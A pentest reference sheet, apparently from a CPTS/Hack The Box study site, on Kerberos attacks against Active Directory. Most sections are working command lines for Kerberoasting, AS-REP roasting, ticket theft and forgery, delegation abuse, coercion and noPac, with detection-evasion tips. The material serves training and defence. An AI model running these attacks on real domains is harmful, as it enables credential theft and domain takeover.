kerberos-attacks.md (30877B)
1 --- 2 title: "Stage 05 — Kerberos Attacks" 3 description: "CPTS attack-flow reference for stage 05 — kerberos attacks in an authorised engagement." 4 category: pentest-workflow 5 subcategory: "CPTS Attack Flow" 6 order: 8 7 tags: ["htb", "cpts", "htb-attack-flow", "htb-attack-flow-stage-05", "pentest-workflow"] 8 tools: ["Impacket", "Rubeus", "Kerbrute", "Hashcat"] 9 difficulty: advanced 10 updated: "2026-08-29" 11 source: "vault:Pentest Attack Flow/08 - Stage 05 - Kerberos Attacks.md" 12 --- 13 > [!dashboard] Attack-flow navigation 14 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard) 15 > 16 > **Section:** 08 of 17 · **Focus:** Stage 05 — Kerberos Attacks 17 > 18 > **Previous:** [Stage 04 — Active Directory Enumeration](/sheets/pentest-workflow/active-directory-enumeration) · **Next:** [Stage 06 — ACL and Object Abuse](/sheets/pentest-workflow/acl-and-object-abuse) 19 20 --- 21 # 🎟️ STAGE 5 — Kerberos Attacks 22 23 Once I hold **any** valid domain creds (from spraying/roasting) I pivot to Kerberos: pull crackable material, replay tickets, and launder hashes into TGTs. All of this talks to the KDC on port 88 against `$DC`. 24 25 > [!warning] Watch out — clock skew kills every Kerberos tool 26 > Kerberos rejects any request more than **5 min** off the DC clock: `KRB_AP_ERR_SKEW (Clock skew too great)`. Don't touch my host clock — wrap the *one* tool that talks Kerberos with `faketime`. Measure first, then prefix: 27 > ```bash 28 > nmap -p 88 --script clock-skew -Pn $DC # median: 7h30m00s => DC is ahead 29 > faketime -f '+7h30m' getTGT.py "$DOMAIN"/"$U":"$P" -dc-ip $IP 30 > # unsure of the sign? sync outright instead: 31 > sudo ntpdate $IP 32 > ``` 33 > Always add `-f` so forked Python children inherit the fake time. `faketime` source: [wolfcw/libfaketime](https://github.com/wolfcw/libfaketime); HTTP-based sync alternative: [htpdate](https://github.com/angea/htpdate). Full playbook: faketime-cheatsheet. 34 35 --- 36 37 ### ⏱️ Kerberos in 60 seconds — the flow every attack hangs off 38 39 <figure class="flow plate corners"> 40 <figcaption class="flow__cap"><span class="flow__kind">Kerberos auth exchange</span><span class="flow__dir">TD</span></figcaption> 41 <div class="flow__body"> 42 <div class="flow__diagram" data-dir="td"> 43 <div class="flow-rank"><div class="flow-node is-entry">Client → KDC<span class="sub">AS-REQ — prove identity (timestamp encrypted with my key)</span></div></div> 44 <div class="flow-edge"></div> 45 <div class="flow-rank"><div class="flow-node">KDC → Client<span class="sub">AS-REP — TGT (encrypted with krbtgt key) + session key</span></div></div> 46 <div class="flow-edge"></div> 47 <div class="flow-rank"><div class="flow-node">Client → KDC<span class="sub">TGS-REQ — TGT + SPN of the service I want</span></div></div> 48 <div class="flow-edge"></div> 49 <div class="flow-rank"><div class="flow-node">KDC → Client<span class="sub">TGS-REP — service ticket (encrypted with the SERVICE account's key)</span></div></div> 50 <div class="flow-edge"></div> 51 <div class="flow-rank"><div class="flow-node">Client → Service<span class="sub">AP-REQ — present service ticket</span></div></div> 52 <div class="flow-edge"></div> 53 <div class="flow-rank"><div class="flow-node is-goal">Service → Client<span class="sub">access granted</span></div></div> 54 </div> 55 </div> 56 </figure> 57 58 **Why each attack exists, mapped to a step:** 59 60 | Step | Attack | Why it works | 61 |---|---|---| 62 | 1–2 | **AS-REP Roast** | No pre-auth required → the AS-REP material is encrypted with the *user's* password key → offline crack | 63 | 3–4 | **Kerberoast** | Any user may request a TGS; the TGS is encrypted with the *service account's* password key → offline crack | 64 | 1–2 | **Overpass-the-Hash / Pass-the-Key** | The "proof of identity" key IS the NT hash / AES key — owning it = minting TGTs | 65 | 1–5 | **Pass-the-Ticket** | Tickets are bearer tokens; a stolen/forged TGT or TGS replays until expiry | 66 | 3–4 | **Delegation abuse (S4U)** | Trusted services can ask the KDC for tickets *on behalf of* users — misconfig = impersonate anyone | 67 | forge | **Golden/Silver/Diamond** | Owning `krbtgt` (or service) keys = sign my own tickets, skipping the KDC entirely | 68 69 Key terms: **TGT** (ticket-granting ticket, from AS exchange), **TGS** (service ticket, from TGS exchange), **SPN** (`service/hostname` string binding a service to an account), **PAC** (authorization data inside the ticket — where group SIDs live), **krbtgt** (the KDC's own account — its key signs every TGT). 70 71 > [!abstract]- MITRE ATT&CK map for this stage 72 > | Technique | Section | 73 > |---|---| 74 > | T1558.003 — Kerberoasting | Kerberoasting / Targeted Kerberoasting | 75 > | T1558.004 — AS-REP Roasting | AS-REP Roasting | 76 > | T1550.003 — Pass the Ticket | PtT | 77 > | T1550.002 — Pass the Hash (OPtH variant) | Overpass-the-Hash | 78 > | T1558.001 — Golden Ticket / T1558.002 — Silver Ticket | Ticket forgery | 79 > | T1558 — Steal or Forge Kerberos Tickets (delegation sub-paths) | Delegation section | 80 > | T1187 — Forced Authentication | Coercion (PetitPotam/printerbug) | 81 82 --- 83 84 ### 🔥 Kerberoasting — SPN accounts → offline crack 85 86 **What to look for:** user accounts with a `servicePrincipalName` set (svc_sql, svc_backup, svc_iis…). Any domain user can request their TGS — no privs needed. The TGS is encrypted with the service account's password hash. Discovery itself lives in [Stage 04](/sheets/pentest-workflow/active-directory-enumeration) (`--kerberoasting`, `Get-DomainUser -SPN`, `setspn -Q */*`); this section is the harvest. 87 88 **Enumerate** 89 ```bash 90 # List SPN accounts — no ticket requested yet 91 GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip $IP 92 93 # netexec sweep (also dumps in one shot) 94 nxc ldap $DC -u "$U" -p "$P" --kerberoasting kerb.hash 95 ``` 96 97 **Exploit / Attack** 98 ```bash 99 # Request + dump ALL TGS hashes 100 GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -request -outputfile kerb.hash 101 102 # Single high-value target 103 GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -request-user svc_sql -outputfile svc_sql.hash 104 105 # Auth with an NT hash instead of a password 106 GetUserSPNs.py "$DOMAIN"/"$U" -hashes :<NTHASH> -dc-ip $IP -request 107 108 # impacket asks for RC4 tickets by default - there is NO etype flag; 109 # the explicit RC4 downgrade lives on the Windows side: .\Rubeus.exe kerberoast /rc4 110 GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -request 111 112 # Crack — RC4 ($krb5tgs$23$) is mode 13100 113 hashcat -m 13100 kerb.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule 114 # AES128 ($krb5tgs$17$) -> 19600 | AES256 ($krb5tgs$18$) -> 19700 115 hashcat -m 19600 kerb.hash /usr/share/wordlists/rockyou.txt 116 hashcat -m 19700 kerb.hash /usr/share/wordlists/rockyou.txt 117 ``` 118 119 On-host from Windows I reach for [Rubeus](https://github.com/GhostPack/Rubeus) instead (see Rubeus-Cheatsheet): 120 121 > [!tools] Stage this — Rubeus (the Kerberos Swiss army knife) 122 > [Rubeus.exe](/downloads/pentest-workflow/Rubeus.exe) ([SHA-256](/downloads/pentest-workflow/Rubeus.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Rubeus.exe.sha256.asc)) 123 > GhostPack [Rubeus](https://github.com/GhostPack/Rubeus) covers this whole note on-host: `kerberoast`, `asreproast`, `asktgt`, `ptt`, `s4u`, `monitor`, `diamond`, `describe`. Same binary gets reused in every section below. 124 125 ```powershell 126 .\Rubeus.exe kerberoast /outfile:hashes.txt /nowrap 127 .\Rubeus.exe kerberoast /user:svc_sql /nowrap 128 .\Rubeus.exe kerberoast /stats # recon only — zero ticket requests 129 .\Rubeus.exe kerberoast /rc4 /nowrap # RC4-downgrade for fast cracking 130 .\Rubeus.exe kerberoast /aes /nowrap # or request AES tickets when RC4 is blocked 131 ``` 132 133 **RC4-downgrade notes:** 134 - Older svc accounts often support RC4 while the *domain* defaults to AES — asking for RC4 (`/rc4`, or Rubeus default behaviour) yields a `$krb5tgs$23$` that cracks ~1000× faster than AES256. 135 - **AES-only accounts** (`msDS-SupportedEncryptionTypes` = 24) refuse RC4: `KDC_ERR_ETYPE_NOSUPP` → take the AES ticket and crack 19600/19700 (or pick a different target). 136 - Every RC4 request is a **detection beacon**: Event 4769 with `Ticket Encryption Type: 0x17` where the baseline is 0x12 is a classic SIEM rule. Prefer AES requests on monitored networks even though the crack is slower. 137 138 **Hash-mode cheat table:** 139 140 | Hash prefix | Material | Hashcat | Notes | 141 |---|---|---|---| 142 | `$krb5asrep$23$` | AS-REP, RC4 | **18200** | AS-REP roast, no creds needed | 143 | `$krb5tgs$23$` | TGS, RC4 | **13100** | standard kerberoast — fast | 144 | `$krb5tgs$17$` | TGS, AES128 | **19600** | AES-enforced accounts | 145 | `$krb5tgs$18$` | TGS, AES256 | **19700** | slowest — add `-w 3`, good rules | 146 147 > [!warning] Watch out 148 > - `$krb5tgs$23$` = RC4 = **mode 13100** (fast). `$krb5tgs$18$` = AES256 = **19700** (slow, may need `-w 3`). Read the prefix before you pick the mode. 149 > - AES-only domains throw `KDC_ERR_ETYPE_NOSUPP` on RC4 downgrade — switch to 19600/19700. 150 > - Always `-outputfile` / `/nowrap`; wrapped base64 lines silently corrupt the hash. 151 > - Bulk roasting = a burst of Event 4769 (etype 0x17) → instant SIEM flag. Target single accounts when it matters. 152 > - Cracked svc account → **immediately re-enumerate as it** (the doctrine in [Stage 04](/sheets/pentest-workflow/active-directory-enumeration)): service accounts routinely hold shares, SQL, or delegation rights the original user lacked. 153 154 Deep dives: 🔴 Attack · Kerberoasting Cheatsheet · Kerberoasting — Local On-Host Cheatsheet. 155 156 --- 157 158 ### 🩸 AS-REP Roasting — pre-auth disabled → crack with no creds 159 160 **What to look for:** accounts with `DONT_REQ_PREAUTH` (`userAccountControl` bit `0x400000`). The KDC hands back an AS-REP blob encrypted with the account's hash **without any proof of identity** — I don't even need creds, just a username. Discovery lives in Stage 04 (`--asreproast`, kerbrute `--hash-file`, PowerView `-PreauthNotRequired`). 161 162 **Enumerate** 163 ```bash 164 # Authenticated auto-discovery of vulnerable accounts 165 nxc ldap $DC -u "$U" -p "$P" --asreproast asrep.hash 166 ``` 167 168 **Exploit / Attack** 169 ```bash 170 # No creds — brute a userlist (only usernames needed) 171 GetNPUsers.py "$DOMAIN"/ -no-pass -usersfile users.txt -dc-ip $IP -format hashcat -outputfile asrep.hash 172 173 # Authenticated — auto-enumerate + dump every vulnerable account 174 GetNPUsers.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -request -format hashcat -outputfile asrep.hash 175 176 # Unauthenticated AS-REP roast across a user list (no creds needed — only DONT_REQ_PREAUTH accounts pop) 177 GetNPUsers.py "$DOMAIN"/ -no-pass -usersfile users.txt -dc-ip $IP -format hashcat 178 # No etype flag exists here either: AES-only accounts come back as $krb5asrep$18$ (hashcat 19900) 179 180 # Crack — AS-REP ($krb5asrep$23$) is mode 18200 181 hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule 182 ``` 183 184 Windows / on-host: 185 ```powershell 186 .\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt /nowrap 187 ``` 188 189 > [!tip] Run AS-REP roasting *before* password spraying — it's passive, needs no creds, and each account is queried once so there's zero lockout risk. This is the "user list → cred" bridge in the Stage 04 methodology. 190 191 > [!warning] Watch out 192 > AS-REP is **mode 18200**, NOT 13100 — different hash (`$krb5asrep$` vs `$krb5tgs$`). Unauthenticated runs leave a 4768 with `PreAuthType: 0` per target — light touch, don't spray 20 at once. `GetNPUsers.py` errors are also the best skew tripwire: `KRB_AP_ERR_SKEW` = fix the clock (top of this note) before anything else. 193 194 Deep dive: 🔴 Attack. 195 196 --- 197 198 ### 🎯 Targeted Kerberoasting — write an SPN, then roast 199 200 **What to look for:** I hold `GenericWrite`/`GenericAll` over a user object (from ACL abuse / BloodHound). I set a bogus SPN on it, roast the TGS, then strip the SPN to clean up. This is the standard way to **spend a GenericWrite edge on a user** when I can't reset the password safely. 201 202 > [!tools] Stage this — targetedKerberoast 203 > [targetedKerberoast.py](/downloads/pentest-workflow/targetedKerberoast.py) ([SHA-256](/downloads/pentest-workflow/targetedKerberoast.py.sha256) · [GPG signature](/downloads/pentest-workflow/targetedKerberoast.py.sha256.asc)) 204 > Source: [ShutdownRepo/targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast). One-shot: sets a temp SPN via my ACL, requests the TGS, **removes the SPN again**, prints a hashcat-ready hash. 205 206 **Exploit / Attack** 207 ```bash 208 # One-shot: adds a temp SPN, roasts, removes the SPN 209 python3 targetedKerberoast.py -v -d "$DOMAIN" -u "$U" -p "$P" --dc-ip $IP --request-user <target> 210 hashcat -m 13100 <target>.hash /usr/share/wordlists/rockyou.txt 211 212 # Manual equivalent via bloodyAD (set SPN -> roast -> clear) 213 bloodyAD --host $DC -d "$DOMAIN" -u "$U" -p "$P" set object <target> servicePrincipalName -v 'any/SPN' 214 GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -request-user <target> -outputfile <target>.hash 215 bloodyAD --host $DC -d "$DOMAIN" -u "$U" -p "$P" remove object <target> servicePrincipalName 216 ``` 217 218 > [!warning] Watch out 219 > `targetedKerberoast.py` is a fork of Python impacket → it needs the clock right too. `sudo ntpdate $IP` (or `faketime -f '+Xh'`) before you run it, or it fails on skew. Same **mode 13100** crack. The write itself is logged (Event 5136/4662 directory-service changes) — on monitored networks, roast-and-clean fast; leaving a stray SPN is both an IOC and a broken account. 220 221 --- 222 223 ### 🎫 Pass-the-Ticket (PtT) — grab a TGT, replay it 224 225 **What to look for:** a valid TGT/ccache — either dumped from LSASS on a Windows host (Rubeus/Mimikatz) or minted from creds/hash with `getTGT.py`. A TGT = access to any service the victim can reach; a TGS = that one service only. **Bypasses MFA** — the ticket is already authenticated. 226 227 **Enumerate / obtain a ticket** 228 ```bash 229 # Mint a TGT from creds or an NT hash (outputs <user>.ccache) 230 getTGT.py "$DOMAIN"/"$U":"$P" -dc-ip $IP 231 getTGT.py "$DOMAIN"/"$U" -hashes :<NTHASH> -dc-ip $IP 232 233 export KRB5CCNAME=$(pwd)/"$U".ccache 234 klist # confirm it loaded + check expiry 235 ``` 236 237 **Exploit / Attack — use `-k -no-pass` everywhere** 238 ```bash 239 export KRB5CCNAME=/path/to/ticket.ccache 240 psexec.py -k -no-pass "$DOMAIN"/"$U"@$DC 241 wmiexec.py -k -no-pass "$DOMAIN"/"$U"@$DC 242 secretsdump.py -k -no-pass "$DOMAIN"/"$U"@$DC 243 nxc smb $DC --use-kcache 244 evil-winrm -i $DC -r "$DOMAIN" 245 246 # Windows-format ticket? convert .kirbi -> .ccache first (and back for Rubeus) 247 ticketConverter.py ticket.kirbi ticket.ccache 248 ticketConverter.py ticket.ccache ticket.kirbi 249 ``` 250 251 **kirbi ↔ ccache — the format map:** 252 253 | Format | Native to | Use with | Convert | 254 |---|---|---|---| 255 | `.ccache` | MIT Kerberos (Linux) | impacket `-k`, evil-winrm `-r`, `klist` | `ticketConverter.py x.kirbi x.ccache` | 256 | `.kirbi` | Windows / Rubeus / mimikatz | `Rubeus.exe ptt`, `kerberos::ptt` | `ticketConverter.py x.ccache x.kirbi` | 257 | base64 blob | Rubeus `/nowrap` output | `Rubeus.exe ptt /ticket:<b64>` | wrap/unwrap via ticketConverter after decoding | 258 259 ```bash 260 # Inspect any ticket before burning it (see flags, etype, expiry) 261 describeTicket.py ticket.ccache 262 ``` 263 264 From a Windows foothold I dump + inject in place: 265 ```powershell 266 .\Rubeus.exe triage 267 .\Rubeus.exe dump /nowrap 268 .\Rubeus.exe ptt /ticket:<base64_or_kirbi> 269 # mimikatz alternative: 270 # mimikatz # sekurlsa::tickets /export 271 # mimikatz # kerberos::ptt ticket.kirbi 272 ``` 273 274 > [!warning] Watch out 275 > - Kerberos is **hostname-based**: authenticate to `$DC` (the FQDN), never the raw `$IP`, or you get `KRB_AP_ERR` / principal-unknown. Add `$IP $DC $DOMAIN` to `/etc/hosts`. 276 > - `export KRB5CCNAME` **before** the tool, and `-k -no-pass` on the tool itself — forget either and it silently falls back to NTLM. 277 > - TGT default life is 10h; a nearly-expired one is dead weight — `klist` the expiry. 278 > - A stolen TGT replayed from a **new source IP** is exactly what "pass-the-ticket" analytics look for (ticket used from a host that never did the AS-REQ). On monitored networks prefer OPtH/asktgt to mint a *fresh* TGT over replaying a stolen one. 279 280 Deep dive: 🔴 Attack · full ticket toolkit in Impacket-Cheatsheet. 281 282 --- 283 284 ### 🔐 Overpass-the-Hash (Pass-the-Key) — NT hash → fresh TGT 285 286 **What to look for:** I have an NT hash (or AES key) but NTLM is blocked/monitored. OPtH uses the hash as a Kerberos key to request a **brand-new TGT**, so I operate purely in Kerberos from there. AES key = stealthiest and works even when RC4 is disabled. 287 288 **Exploit / Attack** 289 ```bash 290 # NT hash -> TGT 291 getTGT.py "$DOMAIN"/"$U" -hashes :<NTHASH> -dc-ip $IP 292 # AES256 key -> TGT (no RC4 downgrade signature) 293 getTGT.py "$DOMAIN"/"$U" -aesKey <AES256KEY> -dc-ip $IP 294 295 export KRB5CCNAME=$(pwd)/"$U".ccache 296 psexec.py -k -no-pass "$DOMAIN"/"$U"@$DC 297 298 # Skip the TGT — go straight for a service ticket 299 getST.py "$DOMAIN"/"$U" -hashes :<NTHASH> -spn cifs/$DC -dc-ip $IP 300 ``` 301 302 Windows / Rubeus: 303 ```powershell 304 .\Rubeus.exe asktgt /user:"$U" /rc4:<NTHASH> /domain:"$DOMAIN" /dc:$DC /ptt 305 .\Rubeus.exe asktgt /user:"$U" /aes256:<AES256KEY> /domain:"$DOMAIN" /opsec /ptt 306 .\Rubeus.exe asktgt /user:"$U" /password:"$P" /domain:"$DOMAIN" /ptt # cred -> TGT, inject in one go 307 ``` 308 309 > [!warning] Watch out 310 > RC4 OPtH throws Event 4768 `etype 0x17` — a red flag in AES-enforced domains. Pull the AES key (`sekurlsa::ekeys`) and use `/aes256` / `-aesKey` to blend in. AES-only domains reject RC4 with `KDC_ERR_ETYPE_NOSUPP`. Rubeus `/opsec` mimics a legitimate AS-REQ exchange (two-step pre-auth) instead of the noisy one-shot — use it whenever detection is in scope. 311 312 Deep dive: 🔴 Attack. 313 314 --- 315 316 ### 🥇🥈 Golden & Silver Tickets — forging with stolen keys 317 318 Post-DA / forgery territory — needs the `krbtgt` hash (Golden) or a service/computer account hash (Silver) plus the domain SID. **Golden** = forge a TGT (opens everything, KDC-validates it). **Silver** = forge one service's TGS (never touches the KDC — quieter, but only that service on that host). 319 320 > [!tools] Stage this — mimikatz (the original ticket forger) 321 > [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256) · [GPG signature](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256.asc)) 322 > Source: [gentilkiwi/mimikatz](https://github.com/gentilkiwi/mimikatz). The impacket `ticketer.py` equivalents below are the Linux-side option; mimikatz is the on-host option. 323 324 ```bash 325 # Domain SID 326 lookupsid.py "$DOMAIN"/"$U":"$P"@$IP 0 | grep -i 'Domain SID' 327 328 # GOLDEN — forge a TGT from the krbtgt hash (get it via DCSync first) 329 ticketer.py -nthash <KRBTGT_NT> -domain-sid <DOMAIN_SID> -domain "$DOMAIN" Administrator 330 # stealthier: forge with the krbtgt AES256 key instead of the NT hash 331 ticketer.py -aesKey <KRBTGT_AES256> -domain-sid <DOMAIN_SID> -domain "$DOMAIN" Administrator 332 333 # SILVER — forge a single-service TGS from the service/computer acct hash (never touches KDC) 334 ticketer.py -nthash <SVC_NT> -domain-sid <DOMAIN_SID> -domain "$DOMAIN" -spn cifs/$DC Administrator 335 336 export KRB5CCNAME=$(pwd)/Administrator.ccache 337 psexec.py -k -no-pass "$DOMAIN"/Administrator@$DC 338 ``` 339 340 ```powershell 341 # mimikatz equivalents (on-host) 342 mimikatz # lsadump::dcsync /user:krbtgt # get krbtgt keys (needs DCSync rights) 343 mimikatz # kerberos::golden /user:Administrator /domain:$DOMAIN /sid:<SID> /krbtgt:<NT> /ptt 344 mimikatz # kerberos::golden /user:Administrator /domain:$DOMAIN /sid:<SID> /aes256:<KEY> /ptt 345 ``` 346 347 **Golden vs Silver — when each:** 348 349 | | Golden (krbtgt key) | Silver (service/machine key) | 350 |---|---|---| 351 | Scope | Any user, any service, domain-wide | One service on one host | 352 | KDC contact | TGS-REQ still happens (4769 logged) | **None** — service validates it locally | 353 | Detection | PAC/flow anomalies, 4769 mismatch | Only service-side logs (often unmonitored) — **stealthier** | 354 | Survival | Dies only on **double** krbtgt reset | Dies when the service/machine password rotates | 355 | Best for | Persistence, full-domain access | Quiet access to one box (e.g. `cifs/`, `host/`, `http/`) | 356 357 > [!note] Deep dives: 🟠 Attack · 🟠 Attack · 🥈 Silver Ticket Attack Cheatsheet. Reminder: post-Nov-2021 patches require the forged username to **exist** in AD, and only a **double** krbtgt reset kills a Golden Ticket. 358 359 > [!tip] Crack-mode quick card: Kerberoast RC4 `13100` · AES128 `19600` · AES256 `19700` · AS-REP `18200`. Full list: hashcat modes. 360 361 362 --- 363 364 ### 💎 Diamond & Sapphire Tickets (stealth variants) 365 366 **What to look for** → you hold the **KRBTGT AES key** and want a forged TGT that survives modern detection. A Golden Ticket is forged from scratch (no matching AS-REQ on the DC = a detection signature); a **Diamond** ticket decrypts a *real* TGT, rewrites its PAC, and re-signs it — so it has a legitimate audit trail. **Sapphire** goes one step further: it copies the PAC of a *real privileged user* (fetched via S4U) into the forged ticket, so even the PAC contents match a genuine logon. 367 368 | | Golden | Diamond | Sapphire | 369 |---|---|---|---| 370 | Needs | krbtgt key | krbtgt key + any way to get a real TGT | krbtgt key + target user's PAC (via S4U2Self) | 371 | AS-REQ on DC? | ❌ none (detectable gap) | ✅ real one exists | ✅ real one exists | 372 | PAC | fabricated | modified from real TGT | copied from a real high-priv user | 373 | Detection resistance | low | high | highest | 374 375 **Exploit** (Rubeus, on a Windows foothold) 376 ```powershell 377 # grab a real TGT (tgtdeleg), inject DA into its PAC, re-sign with the krbtgt AES256 key 378 Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 ` 379 /krbkey:<AES256_of_krbtgt> /nowrap 380 ``` 381 > [!note] When to bother 382 > On HTB, a Golden Ticket (via `ticketer.py` / `mimikatz kerberos::golden`) is usually enough and simpler. Reach for Diamond/Sapphire only when detection is explicitly in scope. Deep dives: 🟠 Attack · 🟠 Attack. 383 384 --- 385 386 ### 🔁 Delegation abuse — unconstrained, constrained, RBCD 387 388 Delegation = a service trusted to request tickets *on behalf of* users. Three flavours, three different attacks. Discovery: `nxc ldap $DC -u "$U" -p "$P" --find-delegation` / BloodHound `AllowedToDelegate` edges / PowerView `-TrustedToAuth` (Stage 04). 389 390 #### Unconstrained delegation — the TGT vacuum 391 392 A host trusted for **unconstrained delegation** caches the TGT of every user who authenticates to it. Own the host → dump LSASS → collect TGTs. No users coming? **Coerce** a privileged one. 393 394 > [!tools] Stage this — PetitPotam (coerce the DC to authenticate to me) 395 > [PetitPotam.py](/downloads/pentest-workflow/PetitPotam.py) ([SHA-256](/downloads/pentest-workflow/PetitPotam.py.sha256) · [GPG signature](/downloads/pentest-workflow/PetitPotam.py.sha256.asc)) 396 > Source: [topotam/PetitPotam](https://github.com/topotam/PetitPotam). Alternatives: [SpoolSample / printerbug](https://github.com/leechristensen/SpoolSample) (MS-RPRN), [Coercer](https://github.com/p0dalirius/Coercer) (multi-protocol scanner), [DFSCoerce](https://github.com/Wh04m1001/DFSCoerce). 397 398 ```powershell 399 # 1) sit on the unconstrained host and watch for incoming TGTs 400 .\Rubeus.exe monitor /interval:5 /nowrap 401 ``` 402 ```bash 403 # 2) from my box, force the DC to auth to the unconstrained host 404 python3 PetitPotam.py <UNCONSTRAINED_HOST> $DC # patched DCs: try printerbug instead 405 python3 printerbug.py "$DOMAIN"/"$U":"$P"@$DC <UNCONSTRAINED_HOST> 406 # 3) the DC$ machine TGT lands in Rubeus monitor -> ptt it -> DCSync 407 ``` 408 ```powershell 409 .\Rubeus.exe ptt /ticket:<base64_from_monitor> 410 mimikatz # lsadump::dcsync /user:krbtgt 411 ``` 412 > [!warning] Watch out 413 > DC computer accounts are in **Protected Users** on modern domains → their TGTs don't forward. In that case coerce a **different** DC, or pivot to RBCD below. Coercion = forced authentication (T1187) and is *loud* — one shot, not a loop. 414 415 #### Constrained delegation — S4U2Proxy impersonation 416 417 A service with `msDS-AllowedToDelegateTo: cifs/target` can ask the KDC for a service ticket **as any user** to that target service only. 418 419 ```bash 420 # Linux — getST with S4U2Self+S4U2Proxy in one shot 421 getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator "$DOMAIN"/"$U":"$P" -dc-ip $IP 422 export KRB5CCNAME=Administrator.ccache 423 psexec.py -k -no-pass "$DOMAIN"/Administrator@<TARGET_FQDN> 424 ``` 425 ```powershell 426 # Windows — Rubeus s4u (needs the delegating service's hash or TGT) 427 .\Rubeus.exe s4u /user:svc_iis /rc4:<SVC_NTHASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET> /ptt 428 # protocol transition (TrustedToAuth) lets a non-Kerberos auth become a TGS: 429 .\Rubeus.exe s4u /user:svc_web /ticket:<tgt.kirbi> /impersonateuser:Administrator /msdsspn:time/<DC> /altservice:ldap /ptt 430 ``` 431 > [!note] Bronze Bit (CVE-2020-17049) 432 > Pre-Dec-2020 KDCs ignored the "not forwardable" bit on S4U2Self tickets, letting constrained delegation impersonate **Protected Users / delegation-protected accounts**. Mostly patched now — check on 2016/2019-era boxes, otherwise expect `KDC_ERR_BADOPTION`. 433 434 #### RBCD — Resource-Based Constrained Delegation (the GenericWrite-on-computer play) 435 436 The modern standard: if I have **GenericWrite/WriteProperty over a computer object** (or can create a machine account — `MachineAccountQuota > 0`), I set `msDS-AllowedToActOnBehalfOfOtherIdentity` on the *victim computer* and S4U myself in. This is the edge behind half of BloodHound's "computer takeover" paths. 437 438 ```bash 439 # 0) check quota first (need > 0 to add a machine) 440 nxc ldap $DC -u "$U" -p "$P" -M maq 441 442 # 1) add a machine account I control (Linux: impacket addcomputer.py | Windows: Powermad) 443 addcomputer.py -computer-name 'ATTACK$' -computer-pass 'Passw0rd!' -dc-ip $IP "$DOMAIN"/"$U":"$P" 444 # Windows: Import-Module .\Powermad.ps1 ; New-MachineAccount -MachineAccount ATTACK 445 446 # 2) grant my machine account RBCD on the VICTIM computer 447 bloodyAD --host $DC -d "$DOMAIN" -u "$U" -p "$P" add rbcd 'VICTIM$' 'ATTACK$' 448 # impacket equivalent: 449 rbcd.py -delegate-from 'ATTACK$' -delegate-to 'VICTIM$' -dc-ip $IP -action write "$DOMAIN"/"$U":"$P" 450 451 # 3) S4U as Administrator to the victim 452 getST.py -spn cifs/<VICTIM_FQDN> -impersonate Administrator "$DOMAIN"/'ATTACK$':'Passw0rd!' -dc-ip $IP 453 export KRB5CCNAME=Administrator.ccache 454 psexec.py -k -no-pass "$DOMAIN"/Administrator@<VICTIM_FQDN> 455 456 # 4) CLEANUP — reverse every write, every time 457 bloodyAD --host $DC -d "$DOMAIN" -u "$U" -p "$P" remove rbcd 'VICTIM$' 'ATTACK$' 458 addcomputer.py -computer-name 'ATTACK$' -dc-ip $IP "$DOMAIN"/"$U":"$P" -delete 459 ``` 460 > [!danger] Cleanup is part of the attack 461 > An orphaned RBCD entry (`msDS-AllowedToActOnBehalfOfOtherIdentity`) is a persistent, stealthy backdoor — great for an APT, unacceptable to leave in a client's AD. Log the attribute's **original value** before writing, and restore it exactly. Detection: Event **5136** (attribute modified) on the computer object + Event **4662** if auditing; machine-account creation = Event **4741**. 462 > 463 > Also: `getST.py` impersonation of `Administrator` to `cifs/` fails if the target admin is in **Protected Users** or marked "account is sensitive and cannot be delegated" — impersonate a different privileged user instead. 464 465 --- 466 467 ### 🧨 sAMAccountName spoof + noPac (CVE-2021-42278 / CVE-2021-42287) 468 469 Any domain user + default `MachineAccountQuota=10` → create a machine account, rename it to a DC's name (spoof `sAMAccountName`), request a TGT, rename back, then S4U2Self — the KDC "loses" the machine and grants a ticket **as the DC** → DCSync → DA. Unpatched 2016/2019/2022 DCs only. 470 471 ```bash 472 # check 473 nxc smb $DC -u "$U" -p "$P" -M nopac 474 # exploit (noPac — github.com/Ridter/noPac) 475 python3 noPac.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -dc-host ${DC%%.*} -shell --impersonate Administrator -use-ldap 476 # or dump instead of shell: -dump 477 # sam-the-admin (github.com/WazeHell/sam-the-admin) — the same chain with a cleaner auto-flow: 478 python3 sam_the_admin.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -shell 479 ``` 480 481 > [!warning] Watch out 482 > Needs MAQ > 0 **and** an unpatched DC — both rarer in 2026, but lab ranges love it. Leaves Event **4741** (computer created) + **4781/4742** (renames) + anomalous **4768/4769** — extremely noisy chain; on real engagements prefer RBCD/ACL paths unless this is the only door. Links: [noPac](https://github.com/Ridter/noPac) · [sam-the-admin](https://github.com/WazeHell/sam-the-admin). Also covered in the Stage 04 CVE checkpoint ([Stage 04](/sheets/pentest-workflow/active-directory-enumeration)). 483 484 --- 485 486 ### 🛡️ Detection & OPSEC — what Kerberos attacks look like to a SOC 487 488 | My action | Event / signal | Blend-in move | 489 |---|---|---| 490 | AS-REP roast (unauth) | **4768** with `Pre-Auth Type: 0`, one per account | query few accounts; it's quiet in ones | 491 | Kerberoast burst | **4769** spike, `Ticket Encryption: 0x17` (RC4) | single-target requests; accept AES (0x12) tickets | 492 | RC4 downgrade | 4768/4769 etype 0x17 where baseline is 0x12 | request AES explicitly; crack 19600/19700 | 493 | Failed auth (bad hash/spread) | **4771** (Kerberos pre-auth failed), 4625 | validate creds once, 